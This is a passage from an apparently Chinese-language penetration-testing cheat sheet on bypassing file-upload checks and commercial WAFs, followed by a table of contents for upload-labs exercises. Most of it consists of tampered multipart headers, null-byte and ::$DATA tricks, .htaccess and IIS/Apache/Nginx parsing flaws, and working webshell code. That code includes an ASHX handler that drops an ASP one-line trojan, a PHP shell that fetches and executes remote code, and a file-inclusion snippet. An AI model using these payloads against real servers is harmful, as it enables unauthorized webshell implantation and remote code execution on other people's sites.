将 form-data 修改为   f+orm-data

将 from-data 修改为   form-d+ata

5.双文件上传绕过

<form action="https://www.xxx.com/xxx.asp(php)" method="post"

name="form1" enctype="multipart/form‐data">

<input name="FileName1" type="FILE" class="tx1" size="40">

<input name="FileName2" type="FILE" class="tx1" size="40">

<input type="submit" name="Submit" value="上传">

</form>

6.HTTP header 属性值绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"

我们通过替换form-data 为*来绕过

Content-Disposition: *; name="file"; filename="yjh.php"

7.HTTP header 属性名称绕过

源代码:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png

绕过内容如下：

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png

C.php"

删除掉ontent-Type: image/jpeg只留下c，将.php加c后面即可，但是要注意额，双引号要跟着c.php".

8.等效替换绕过

原内容：

Content-Type: multipart/form-data; boundary=---------------------------471463142114

修改后:

Content-Type: multipart/form-data; boundary =---------------------------471463142114

boundary后面加入空格。

9.修改编码绕过

使用UTF-16、Unicode、双URL编码等等

WTS-WAF 绕过上传

原内容：

Content-Disposition: form-data; name="up_picture"; filename="xss.php"

添加回车

Content-Disposition: form-data; name="up_picture"; filename="xss.php"

百度云上传绕过

百度云绕过就简单的很多很多，在对文件名大小写上面没有检测php是过了的，Php就能过，或者PHP，一句话自己合成图片马用Xise连接即可。

Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

阿里云上传绕过

源代码：

Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg

修改如下：

Content-Disposition: form-data; name="img_crop_file"; filename="1.php"

没错，将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

360主机上传绕过

源代码:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png

绕过内容如下：

Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png

Content-Disposition 修改为 Content-空格Disposition

MIME类型绕过

上传木马时，提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过

文件内容检测绕过

抓包，在正常图片末尾添加一句话木马

多次上传Win特性绕过

多次上传同一个文件，windows会自动更新补全TEST (1).php。

有时会触发条件竞争，导致绕过。

条件竞争绕过

通过BURP不断发包，导致不断写入Webshell，再写入速度频率上超过安全软件查杀频率，导致绕过。

CONTENT-LENGTH绕过

针对这种类型的验证，我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于，Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序，从而计算出它的限制范围。

文件内容检测绕过

针对文件内容检测的绕过，一般有两种方式，

  1.制作图片马

  2.文件幻术头绕过

垃圾数据填充绕过

修改HTTP请求，再之中加入大量垃圾数据。

黑名单后缀绕过

文件扩展名绕过

Php除了可以解析php后缀 还可以解析php2.php3，php4 后缀

ashx上传绕过

cer,asa,cdx等等无法使用时候。

解析后就会生成一个test.asp的马，你就可以连接这个test.asp  密码为:put

<%@ WebHandler Language="C#" Class="Handler" %>

using System;

using System.Web;

using System.IO;

public class Handler : IHttpHandler {

    public void ProcessRequest (HttpContext context) {

        context.Response.ContentType = "text/plain";

        //这里会在目录下生成一个test.asp的文件

        StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));

        //这里是写入一句话木马   密码是：ptu

        file1.Write("<%response.clear:execute request("put"):response.End%>");

        file1.Flush();

        file1.Close();

    }

    public bool IsReusable {

        get {

            return false;

        }

    }

}

特殊文件名绕过

比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格)，这种命名方式

在windows系统里是不被允许的，所以需要在 burp之类里进行修改，然后绕过验证后，会

被windows系统自动去掉后面的点和空格，但要注意Unix/Linux系统没有这个特性。

Windows流特性绕过

php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

白名单后缀绕过

00截断绕过上传

php .jpg   空格二进制20改为00

IIS 6.0 目录路径检测解析绕过

上传路径改为

XXX/1.asp/

htaccess解析漏洞

上传的jpg文件都会以php格式解析

.htaccess内容：

AddType    application/x-httpd-php    .jpg

突破MIME限制上传

方法：找一个正常的可上传的查看其的MIME类型，然后将马子的MIME改成合法的MIME即可。

Apache解析漏洞

1.一个文件名为test.x1.x2.x3的文件，apache会从x3的位置开始尝试解析，如果x3不属于apache能够解析的扩展名，那么apache会尝试去解析x2，直到能够解析到能够解析的为止，否则就会报错。

2.CVE-2017-15715，这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A，如上传a.php，然后在burp中修改文件名为a.php\x0A)，以此来绕过一些黑名单过滤。

IIS解析漏洞

IIS6.0在解析asp格式的时候有两个解析漏洞，一个是如果目录名包含".asp"字符串，

那么这个目录下所有的文件都会按照asp去解析，另一个是只要文件名中含有".asp;"

会优先按asp来解析

IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞，对任意文件名只要在URL

后面追加上字符串"/任意文件名.php"就会按照php的方式去解析；

Nginx解析漏洞

解析：(任意文件名)/(任意文件名).php | (任意文件名)%00.php

描述：目前Nginx主要有这两种漏洞，一个是对任意文件名，在后面添加/任意文件名.php

的解析漏洞，比如原本文件名是test.jpg，可以添加为test.jpg/x.php进行解析攻击。

还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

解析漏洞

Content-Disposition: form-data; name="file";  filename=php.php;.jpg

前端限制绕过

1.使用BURP抓包修改后重放

2.或者使用浏览器中元素审查，修改允许或禁止上传文件类型。

下载绕过

远程下载文件绕过

<?php

$str = file_get_contents('http://127.0.0.1/ian.txt');

$str($_post['ian']);

?>

文件包含绕过

上传图片木马

$x=$_GET['x'];

include($x);

访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg

推荐阅读：

http://0-sec.org/

3. 文件上传靶机实战(附靶机跟writeup)

upload-labs

运行环境

总结

实验用小马

Pass-01

Pass-02

Pass-03

如何创建.htaccess结尾的无文件名的文件

Pass-04

Pass-05

Pass-06

Pass-07

Pass-08

Pass-09

Pass-10

Pass-11

Pass-12

Pass-13

Pass-14

Pass-15

Pass-16

Pass-17

Pass-18

Pass-19

WAF绕过

安全狗绕过

WTS-WAF 绕过上传

百度云上传绕过

阿里云上传绕过

360主机上传绕过

MIME类型绕过

文件内容检测绕过

多次上传Win特性绕过

条件竞争绕过

CONTENT-LENGTH绕过

文件内容检测绕过

垃圾数据填充绕过

黑名单后缀绕过

文件扩展名绕过

ashx上传绕过

特殊文件名绕过

Windows流特性绕过

白名单后缀绕过

00截断绕过上传

htaccess解析漏洞

突破MIME限制上传

Apache解析漏洞

IIS解析漏洞

Nginx解析漏洞

解析漏洞

前端限制绕过

下载绕过

文件包含绕过

相关文章